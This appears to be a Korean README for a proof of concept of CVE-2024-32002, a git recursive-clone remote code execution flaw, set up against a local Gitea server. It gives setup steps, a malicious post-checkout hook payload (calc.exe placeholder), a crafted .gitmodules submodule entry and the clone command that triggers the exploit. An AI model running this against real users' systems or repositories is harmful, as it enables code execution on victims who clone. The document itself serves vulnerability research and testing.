
CVE-2024-32002를 오프라인 및 로컬 환경에서 실행할 수 있도록 적용
우리는 이 블로그 게시물을 따르지만 몇 가지 주요 차이점이 있습니다 https://amalmurali.me/posts/git-rce
git_rce)에는 특수하게 조작된 경로를 가진 서브모듈이 포함되어 있습니다..git/ 디렉터리를 가리키는 심볼릭 링크가 포함되어 있습니다.⚠️ 경고: 소유하지 않았거나 명시적 사용 권한이 없는 시스템에서는 이 PoC를 실행하지 마십시오. 허가되지 않은 테스트는 의도하지 않은 결과를 초래할 수 있습니다.
gitea용 API 토큰을 만들어야 합니다. 이 토큰은 http://<YOUR_GITEA_SERVER_IP>:3000/user/settings/applications에서 찾을 수 있습니다.
나는 모든 것이 작동하는지 확인하기 위해 토큰에 모든 권한을 부여했습니다.
그런 다음 poc.sh를 실행할 수 있습니다. gitea 서버의 IP 주소와 포트, 저장소를 만들기 위한 사용자 이름과 토큰 등 요청하는 정보를 제공해야 합니다.
Enter the IP address or FQDN (without http://): localhost:3000
Enter your username: chris
Enter your API token: 3c57dbe1756734612f457b1fa08583df64fb5ea4
Enter the name for the first repository: hook
Enter the name for the second repository: main
또한 페이로드를 포함하도록 42-46행을 편집해야 합니다.
# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
calc.exe #or replace with other poc
EOF
한 단계가 더 있습니다. main 저장소의 .gitmodules 파일을 hook 저장소를 가리키도록 수정해야 합니다. 나는 gitea에서 해당 저장소로 직접 이동하여 파일을 변경했습니다.

그런 다음 이렇게 변경했습니다.
[submodule "x/y"]
path = A/modules/x
url = http://<your_git_tea_server>:3000/chris/hook.git
A/modules로 이동했을 때 다음과 같은 내용이 표시되는지 확인했습니다.

그런 다음 해당 커밋을 클릭하면 POC 관련 내용이 포함된 다른 저장소가 표시됩니다.
그런 다음 URL을 사용하면 다음 명령으로 익스플로잇을 트리거할 수 있습니다.
git clone --recursive http://<your_git_tea_server>:3000/<your_user_name>/main.git
이 취약점을 발견하고 적용할 수 있는 블로그 게시물과 저장소를 제공한 filip-hejsek와(과) amalmurali47에게 감사를 표합니다.